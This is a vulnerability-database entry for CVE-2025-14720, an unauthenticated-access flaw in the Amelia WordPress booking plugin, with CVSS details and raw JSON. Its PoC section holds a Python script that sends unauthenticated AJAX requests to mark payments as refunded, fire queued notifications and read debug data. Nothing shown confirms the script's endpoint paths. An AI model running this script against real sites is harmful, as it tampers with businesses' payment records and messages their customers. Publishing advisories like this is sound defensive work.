Security Vulnerability Report
中文
CVE-2025-14720 CVSS 5.3 MEDIUM

CVE-2025-14720

Published: 2026-01-09 07:16:01
Last Modified: 2026-04-15 00:35:42

Description

The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on multiple AJAX actions in all versions up to, and including, 1.2.38. This makes it possible for unauthenticated attackers to mark payments as refunded, trigger sending of queued notifications (emails/SMS/WhatsApp), and access debug information among other things.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Amelia Booking Plugin < 1.2.39

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14720 PoC - Amelia Plugin Unauthorized AJAX Access # Target: WordPress site with Amelia plugin <= 1.2.38 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # PoC 1: Mark payment as refunded (requires payment ID) def trigger_refund(payment_id): """Trigger unauthorized payment refund marking""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { 'action': 'wpamelia_api_call', 'call': '/payments/refund', 'paymentId': payment_id, 'method': 'POST' } response = requests.post(endpoint, data=data) return response.json() # PoC 2: Trigger queued notifications def trigger_notification(): """Trigger sending of queued notifications (email/SMS/WhatsApp)""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { 'action': 'wpamelia_api_call', 'call': '/notifications/send', 'method': 'POST' } response = requests.post(endpoint, data=data) return response.json() # PoC 3: Access debug information def access_debug_info(): """Access plugin debug information without authentication""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { 'action': 'wpamelia_api_call', 'call': '/debug/info', 'method': 'GET' } response = requests.post(endpoint, data=data) return response.json() if __name__ == "__main__": print("[*] CVE-2025-14720 PoC - Amelia Plugin Unauthorized Access") print("[*] Testing notification trigger...") result = trigger_notification() print(f"[*] Result: {result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14720", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:01.153", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on multiple AJAX actions in all versions up to, and including, 1.2.38. This makes it possible for unauthenticated attackers to mark payments as refunded, trigger sending of queued notifications (emails/SMS/WhatsApp), and access debug information among other things."}, {"lang": "es", "value": "El plugin Booking para Appointments and Events Calendar – Amelia para WordPress es vulnerable a acceso no autorizado debido a la falta de comprobaciones de capacidad en múltiples acciones AJAX en todas las versiones hasta la 1.2.38, inclusive. Esto hace posible que atacantes no autenticados marquen pagos como reembolsados, activen el envío de notificaciones en cola (correos electrónicos/SMS/WhatsApp) y accedan a información de depuración, entre otras cosas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3429650/ameliabooking/trunk/src/Application/Commands/Square/SquareRefundWebhookCommandHandler.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/771ed385-587c-400f-89c6-1a827c3e2c79?source=cve", "source": "[email protected]"}]}}